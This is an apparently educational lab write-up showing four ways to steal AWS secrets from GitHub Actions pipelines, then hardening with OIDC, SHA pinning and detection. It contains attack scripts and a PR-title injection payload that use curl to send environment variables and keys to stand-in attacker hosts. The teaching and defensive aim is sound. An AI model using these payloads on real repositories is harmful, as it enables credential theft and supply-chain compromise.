Post

Lab — CI/CD Pipeline Attack: GitHub Actions Secret Theft and OIDC Hardening

A hands-on lab demonstrating four ways to steal AWS credentials from GitHub Actions pipelines — pull_request_target exploitation, workflow injection, command injection, and malicious actions — then replacing all long-lived keys with OIDC to eliminate the attack surface entirely.

Lab — CI/CD Pipeline Attack: GitHub Actions Secret Theft and OIDC Hardening

Objective

Steal AWS credentials stored as GitHub Actions secrets using four different attack techniques — all from a normal-looking GitHub pull request. Then replace every long-lived key with OIDC federation so there are no secrets left to steal.

Use a repository and AWS account you own.


Why CI/CD Is the Most Dangerous Attack Surface

The first three labs required you to exploit a running server. This lab requires only a GitHub account and the ability to open a pull request.

CI/CD pipelines are trusted with the highest-privilege credentials in your environment — production deployment keys, container registry passwords, Terraform state access. They run code from pull requests. And pull requests come from anyone.

The attack surface:

  • A misconfigured workflow runs attacker-controlled code with access to your secrets
  • A single expression injection turns a PR title into a command that prints your AWS keys to the logs
  • A pinned action version that gets force-pushed becomes a supply chain attack

This is how real-world breaches happen in developer-facing infrastructure. Codecov (2021), Dependency Confusion (2021), and dozens of smaller incidents all trace back to CI/CD trust misconfigurations.


What You Will Learn

  • How GitHub Actions secrets are exposed to workflow runs — and when they are not
  • Four distinct attack paths that extract secrets from pipelines
  • How pull_request_target creates a privileged execution context that most developers don’t understand
  • Why OIDC is fundamentally safer than stored secrets
  • How to harden workflows so none of these attacks work

Lab Architecture

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GitHub Repository (public or private)
    │
    ├── .github/workflows/deploy.yml   ← vulnerable workflow
    ├── .github/workflows/pr-check.yml ← pull_request_target misconfiguration
    └── src/                           ← application code

GitHub Secrets:
    AWS_ACCESS_KEY_ID     → stored long-lived IAM key
    AWS_SECRET_ACCESS_KEY → stored long-lived IAM key

AWS Account:
    IAM User: github-actions-deployer (AdministratorAccess — overprivileged)
    S3 Bucket: production-deploy-bucket
    ECS Service: production-app

Phase 0 — Setup

Step 0.1 — Create the IAM User with Long-Lived Keys

1
2
3
4
5
6
7
8
aws iam create-user --user-name github-actions-deployer

aws iam attach-user-policy \
  --user-name github-actions-deployer \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

aws iam create-access-key --user-name github-actions-deployer
# Save AccessKeyId and SecretAccessKey

📸 SCREENSHOT: IAM console showing github-actions-deployer user with AdministratorAccess and an active access key

Step 0.2 — Create a GitHub Repository

Create a new public GitHub repository called cicd-lab-target. Add the AWS credentials as GitHub secrets:

1
2
3
4
5
6
7
Repository → Settings → Secrets and variables → Actions → New repository secret

Name: AWS_ACCESS_KEY_ID
Value: AKIAIOSFODNN7EXAMPLE

Name: AWS_SECRET_ACCESS_KEY
Value: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

📸 SCREENSHOT: GitHub repository Secrets page showing AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY configured

Step 0.3 — Add the Vulnerable Workflows

Create .github/workflows/deploy.yml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
name: Deploy

on:
  push:
    branches: [main]
  pull_request:

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3

      - name: Configure AWS credentials
        uses: aws-actions/configure-aws-credentials@v2
        with:
          aws-access-key-id: $
          aws-secret-access-key: $
          aws-region: eu-west-1

      - name: Run tests
        run: npm test

      - name: Deploy to S3
        run: aws s3 sync ./dist s3://production-deploy-bucket

Create .github/workflows/pr-check.yml — the deliberately misconfigured one:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
name: PR Check

# VULNERABLE: pull_request_target runs in the context of the BASE branch
# with access to secrets — even for PRs from forks
on:
  pull_request_target:
    types: [opened, synchronize]

jobs:
  check:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout PR code
        uses: actions/checkout@v3
        with:
          # VULNERABLE: checking out the PR's code (attacker-controlled)
          # while running with base branch permissions (has secrets)
          ref: $

      - name: Configure AWS
        uses: aws-actions/configure-aws-credentials@v2
        with:
          aws-access-key-id: $
          aws-secret-access-key: $
          aws-region: eu-west-1

      - name: Run PR checks
        run: bash ./scripts/check.sh

Push both files to the main branch of the repo.

📸 SCREENSHOT: GitHub repository showing both workflow files in .github/workflows/


Attack 1 — pull_request_target Exploitation

Why This Is Dangerous

GitHub has two pull request triggers:

TriggerRuns in context ofHas secrets?Checkout
pull_requestFork/PR branchNoSafe
pull_request_targetBase branchYesDangerous if PR code is checked out

pull_request_target was designed for workflows that need secrets to post comments or update PR status. The danger is when you checkout the PR’s code AND have secrets — you are running the attacker’s code with your production credentials.

The Attack

Fork cicd-lab-target to your attacker GitHub account. In the fork, modify scripts/check.sh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/bash

# Normal-looking check script that also exfiltrates secrets
echo "Running code quality checks..."

# Exfiltrate AWS credentials to attacker-controlled server
curl -s "https://attacker-webhook.example.com/steal" \
  -d "key=$AWS_ACCESS_KEY_ID&secret=$AWS_SECRET_ACCESS_KEY&token=$AWS_SESSION_TOKEN"

# Or use the credentials directly to enumerate
aws sts get-caller-identity
aws iam list-users
aws s3 ls

# Continue looking normal
echo "Checks passed"
exit 0

Open a pull request from the fork to the original repo.

When the PR is opened, pr-check.yml triggers:

  1. It runs in the base branch context — has secrets
  2. It checks out your PR code — your modified check.sh
  3. It runs bash ./scripts/check.sh — which is now your attacker script
  4. Your script receives $AWS_ACCESS_KEY_ID and $AWS_SECRET_ACCESS_KEY as environment variables
  5. The credentials are POSTed to your server

📸 SCREENSHOT: GitHub Actions run log showing the pr-check workflow running on the fork’s PR, with the aws sts get-caller-identity output visible in the logs

What the attacker receives:

1
2
3
4
{
  "key": "AKIAIOSFODNN7EXAMPLE",
  "secret": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
}

GuardDuty finding:

1
2
UnauthorizedAccess:IAMUser/ConsoleLoginSuccess.B
Discovery:IAMUser/AnomalousBehavior

Credentials used from an unexpected IP (attacker’s server) triggers anomalous behavior detection.


Attack 2 — Workflow File Modification via PR

How It Works

The default pull_request trigger (not pull_request_target) does NOT have access to secrets for fork PRs. But if you can modify a workflow file itself in a PR, and if the repo allows workflow changes from contributors, you can change what the workflow does.

This works against private repos where you are a contributor with write access to your own branch.

In your fork or branch, modify .github/workflows/deploy.yml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
name: Deploy

on:
  push:
    branches: [main]
  pull_request:

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3

      - name: Configure AWS credentials
        uses: aws-actions/configure-aws-credentials@v2
        with:
          aws-access-key-id: $
          aws-secret-access-key: $
          aws-region: eu-west-1

      # Added by attacker — looks like a debug step
      - name: Debug environment
        run: |
          echo "Debugging pipeline configuration..."
          env | grep -i aws | base64
          curl -s https://attacker-webhook.example.com/env \
            -d "$(env | grep -i aws | base64)"

      - name: Run tests
        run: npm test

      - name: Deploy to S3
        run: aws s3 sync ./dist s3://production-deploy-bucket

Submit this as a PR. If a maintainer reviews only the code changes and approves without scrutinizing the workflow diff, the malicious step runs on the next push to main.

📸 SCREENSHOT: GitHub PR diff showing the added “Debug environment” step that looks innocuous but exfiltrates credentials

Defense: Require separate approval for workflow file changes. GitHub allows this via branch protection rules → “Require approval from code owners” with a CODEOWNERS file:

1
2
# .github/CODEOWNERS
.github/workflows/ @security-team

Attack 3 — Expression Injection via PR Title

How It Works

GitHub Actions expressions $ are evaluated before the shell runs the command. If an expression includes user-controlled input — like a PR title, branch name, or commit message — the attacker can inject shell commands.

Add this step to a workflow:

1
2
3
4
5
6
# VULNERABLE — interpolates PR title directly into shell
- name: Notify about PR
  run: |
    echo "Processing PR: $"
    curl -s https://internal-api/notify \
      -d "title=$"

The Attack

Open a PR with this title:

1
Fix bug"; curl https://attacker.com/steal -d "$(env | base64)"; echo "

When the workflow runs, the expression is substituted before the shell sees it:

1
2
# What the runner actually executes after substitution:
echo "Processing PR: Fix bug"; curl https://attacker.com/steal -d "$(env | base64)"; echo ""

The injected curl command runs in the same environment that has AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY set — they are in env output.

📸 SCREENSHOT: GitHub Actions log showing the injected command executing and the curl running — with environment variables being sent

Fix — use an environment variable as an intermediary:

1
2
3
4
5
6
7
# SAFE — expression assigned to env var first, shell sees it as a literal string
- name: Notify about PR
  env:
    PR_TITLE: $
  run: |
    echo "Processing PR: $PR_TITLE"
    curl -s https://internal-api/notify -d "title=$PR_TITLE"

When $ is assigned to an env: key, the value is passed as a shell variable. The shell does not re-evaluate it as a command — injection is impossible.

Every place you use $ directly in a run: block is an injection risk. Safe inputs: github.sha, github.run_id, github.repository. Dangerous inputs: github.event.pull_request.title, github.event.pull_request.body, github.event.pull_request.head.ref, github.actor.


Attack 4 — Malicious Third-Party Action

How It Works

GitHub Actions steps reference actions by owner/repo@version. If you pin to a tag (@v3) instead of a commit SHA, the action owner can move the tag to a different commit — silently changing what code runs in your pipeline.

This is not theoretical — the reviewdog/action-setup@v1 tag was moved to a malicious commit in 2023 that exfiltrated secrets.

1
2
3
4
5
6
7
8
# VULNERABLE — tag can be moved by the action owner
- uses: some-action/do-thing@v2

# VULNERABLE — branch can be modified
- uses: some-action/do-thing@main

# SAFE — commit SHA is immutable
- uses: some-action/do-thing@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2

Simulate the Attack

Create a GitHub repository called evil-action with this action.yml:

1
2
3
4
5
6
7
8
9
10
11
12
13
name: Evil Action
description: Looks like a linting tool
runs:
  using: composite
  steps:
    - name: Run lint
      shell: bash
      run: |
        echo "Running linter..."
        # Exfiltrate all environment variables
        curl -s https://attacker-webhook.example.com/action-steal \
          -d "$(env | base64)"
        echo "Lint passed"

Publish it as a GitHub Action. If your target repo uses your-username/evil-action@v1 and you move the v1 tag to this malicious commit, every pipeline run now exfiltrates credentials.

📸 SCREENSHOT: GitHub showing the evil-action repository with the malicious action.yml, and the workflow using it with a tag reference

Fix — pin every action to a full commit SHA:

1
2
3
4
5
6
7
# Before (vulnerable)
- uses: actions/checkout@v3
- uses: aws-actions/configure-aws-credentials@v2

# After (safe — SHA pinning)
- uses: actions/checkout@c85c95e3d7251135ab7dc9ce3241c5835cc595a9        # v3.5.3
- uses: aws-actions/configure-aws-credentials@5fd3084fc36e372ff1beb9153e7ca6c60a21041e  # v2.2.0

Use a tool like Dependabot or pin-github-action to automate SHA pinning:

1
2
3
4
5
6
7
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: github-actions
    directory: /
    schedule:
      interval: weekly

Defense — Replace All Long-Lived Keys with OIDC

All four attacks above steal AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY. OIDC eliminates these credentials entirely — there is nothing to steal.

How OIDC Works

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
GitHub Actions runner
    │
    │  1. Request OIDC token from GitHub's token endpoint
    │     Token contains: repo name, branch, workflow, actor
    ▼
GitHub's OIDC provider (token.actions.githubusercontent.com)
    │
    │  2. Sign and return a JWT (valid for 1 hour, scoped to this run)
    ▼
GitHub Actions runner
    │
    │  3. Exchange JWT for temporary AWS credentials via sts:AssumeRoleWithWebIdentity
    ▼
AWS STS
    │
    │  4. Verify JWT signature against GitHub's JWKS endpoint
    │     Validate claims: audience, issuer, repo, branch
    ▼
    │  5. Return temporary credentials (valid for 1 hour maximum)
    ▼
GitHub Actions runner uses temporary credentials
    │
    │  6. Credentials expire automatically — no revocation needed

No stored secrets anywhere. Even if an attacker intercepts the OIDC token, it is valid for one run only and cannot be reused outside the STS exchange.

Step 1 — Create the IAM OIDC Provider

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Get GitHub's OIDC thumbprint
THUMBPRINT=$(curl -s https://token.actions.githubusercontent.com/.well-known/openid-configuration \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['jwks_uri'])" \
  | xargs curl -sv 2>&1 \
  | grep -A1 "SHA-256" \
  | tail -1 \
  | tr -d ' :' \
  | tr 'A-F' 'a-f')

# Create the OIDC provider in IAM
aws iam create-open-id-connect-provider \
  --url https://token.actions.githubusercontent.com \
  --client-id-list sts.amazonaws.com \
  --thumbprint-list $THUMBPRINT

Step 2 — Create the IAM Role for GitHub Actions

The trust policy is where you restrict which repos, branches, and environments can assume this role.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
cat > github-actions-trust.json << 'EOF'
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::ACCOUNT_ID:oidc-provider/token.actions.githubusercontent.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
        },
        "StringLike": {
          "token.actions.githubusercontent.com:sub": [
            "repo:YOUR_GITHUB_ORG/cicd-lab-target:ref:refs/heads/main",
            "repo:YOUR_GITHUB_ORG/cicd-lab-target:environment:production"
          ]
        }
      }
    }
  ]
}
EOF

aws iam create-role \
  --role-name github-actions-deploy-role \
  --assume-role-policy-document file://github-actions-trust.json

aws iam attach-role-policy \
  --role-name github-actions-deploy-role \
  --policy-arn arn:aws:iam::aws:policy/AmazonS3FullAccess

The sub condition locks the role to:

  • Only the cicd-lab-target repo in your org
  • Only the main branch OR the production environment
  • Pull requests from forks cannot assume this role — their sub claim is different

Step 3 — Update the Workflow to Use OIDC

Delete AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY from GitHub Secrets. Update the workflow:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
name: Deploy (OIDC)

on:
  push:
    branches: [main]

permissions:
  id-token: write   # Required: allows the workflow to request OIDC token
  contents: read

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production   # Required: matches the sub condition in IAM role

    steps:
      - uses: actions/checkout@c85c95e3d7251135ab7dc9ce3241c5835cc595a9  # v3.5.3

      - name: Configure AWS credentials via OIDC
        uses: aws-actions/configure-aws-credentials@5fd3084fc36e372ff1beb9153e7ca6c60a21041e  # v2.2.0
        with:
          role-to-assume: arn:aws:iam::ACCOUNT_ID:role/github-actions-deploy-role
          aws-region: eu-west-1
          # No access-key-id or secret-access-key — OIDC handles everything

      - name: Verify identity
        run: aws sts get-caller-identity

      - name: Deploy to S3
        run: aws s3 sync ./dist s3://production-deploy-bucket

📸 SCREENSHOT: GitHub Actions run showing the OIDC authentication step succeeding with “Assuming role with OIDC” in the logs, and aws sts get-caller-identity showing the assumed role

Step 4 — Verify the Attack No Longer Works

Repeat Attack 1 — open a PR from a fork with a malicious check.sh:

1
2
3
# Attacker's check.sh
echo "AWS_ACCESS_KEY_ID=$AWS_ACCESS_KEY_ID"
echo "AWS_SECRET_ACCESS_KEY=$AWS_SECRET_ACCESS_KEY"

Output in the Actions log:

1
2
AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=

Both variables are empty — they no longer exist. The OIDC credentials (AWS_SESSION_TOKEN) are present but scoped to this exact run and expire in one hour. There is nothing persistent to steal.

📸 SCREENSHOT: GitHub Actions log showing empty AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY — proof that OIDC has eliminated the attack surface


Defense Stack — Hardened Workflow Template

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
name: Secure Deploy Pipeline

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]
    # NOTE: pull_request (not pull_request_target) — no secrets for fork PRs

permissions:
  id-token: write
  contents: read
  pull-requests: read

jobs:
  security-checks:
    runs-on: ubuntu-latest
    # No AWS credentials for PR checks — only for deployments
    steps:
      - uses: actions/checkout@c85c95e3d7251135ab7dc9ce3241c5835cc595a9  # SHA pinned

      # Use env: for all user-controlled input — never $ in run:
      - name: Run checks
        env:
          PR_TITLE: $
          PR_AUTHOR: $
        run: |
          echo "Checking PR by: $PR_AUTHOR"
          npm run lint
          npm test

  deploy:
    runs-on: ubuntu-latest
    needs: security-checks
    if: github.ref == 'refs/heads/main' && github.event_name == 'push'
    environment: production   # Requires manual approval in GitHub Environments

    steps:
      - uses: actions/checkout@c85c95e3d7251135ab7dc9ce3241c5835cc595a9

      - name: Configure AWS via OIDC
        uses: aws-actions/configure-aws-credentials@5fd3084fc36e372ff1beb9153e7ca6c60a21041e
        with:
          role-to-assume: arn:aws:iam::ACCOUNT_ID:role/github-actions-deploy-role
          aws-region: eu-west-1

      - name: Deploy
        run: aws s3 sync ./dist s3://production-deploy-bucket

Detection — What Catches Each Attack

GuardDuty

AttackGuardDuty finding
Stolen key used from unexpected IPUnauthorizedAccess:IAMUser/ConsoleLoginSuccess.B
Credential used from GitHub’s IP rangeDiscovery:IAMUser/AnomalousBehavior
Mass enumeration after theftDiscovery:IAMUser/AnomalousBehavior
New persistent access key createdPersistence:IAMUser/AnomalousBehavior

CloudTrail Signals to Watch

1
2
3
4
5
6
7
8
9
10
# Find API calls from GitHub Actions IP ranges
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRoleWithWebIdentity \
  --start-time 2026-06-26T00:00:00Z

# Find suspicious calls made with your IAM user keys
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=Username,AttributeValue=github-actions-deployer \
  --start-time 2026-06-26T00:00:00Z | \
  python3 -m json.tool | grep sourceIPAddress

If the sourceIPAddress in CloudTrail is not in GitHub’s IP ranges, the credentials are being used outside the pipeline.

GitHub Audit Log

GitHub logs every workflow run, secret access, and environment approval. In your org settings → Audit log, filter for:

1
2
action:secrets.access
action:workflows.run_triggered_from_fork

📸 SCREENSHOT: GitHub Audit Log showing secret access events with timestamps and actors


Full Comparison — Before and After OIDC

 Long-lived keysOIDC
What is stored in GitHubStatic AWS_ACCESS_KEY_ID + AWS_SECRET_ACCESS_KEYNothing
Credential lifetimePermanent until manually rotated1 hour maximum
If stolenAttacker has permanent accessAttacker has 1-hour access, cannot reuse
fork PR accessKeys present in pull_request_target contextNo keys to expose
Rotation requiredYes — manual, often forgottenNo — automatic per run
Blast radius if repo compromisedFull account access until keys revokedCurrent run only
Privilege scopeWhatever the IAM user hasLocked by trust policy to specific repo/branch/environment

Key Takeaways

  • pull_request_target is the most common misconfiguration in GitHub Actions — it gives fork PRs the same secret access as your main branch
  • Expression injection via $ in run: blocks is an easy mistake that hands attackers a shell with your credentials
  • OIDC eliminates the entire attack surface by removing stored credentials — there is nothing to steal because credentials are generated per-run and expire in one hour
  • Pin actions to commit SHAs — tags are mutable and have been weaponized in real supply chain attacks
  • The sub claim in the OIDC trust policy is your access control — lock it to specific repos, branches, and environments, never use a wildcard

Cleanup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Delete the IAM user and keys
aws iam detach-user-policy \
  --user-name github-actions-deployer \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

aws iam delete-access-key \
  --user-name github-actions-deployer \
  --access-key-id AKIAIOSFODNN7EXAMPLE

aws iam delete-user --user-name github-actions-deployer

# Delete the OIDC role
aws iam detach-role-policy \
  --role-name github-actions-deploy-role \
  --policy-arn arn:aws:iam::aws:policy/AmazonS3FullAccess

aws iam delete-role --role-name github-actions-deploy-role

# Delete the OIDC provider
aws iam delete-open-id-connect-provider \
  --open-id-connect-provider-arn \
  arn:aws:iam::ACCOUNT_ID:oidc-provider/token.actions.githubusercontent.com

# Remove secrets from GitHub repo
# Repository → Settings → Secrets → Delete AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY

You can find me online at:

My signature image

This post is licensed under CC BY 4.0 by the author.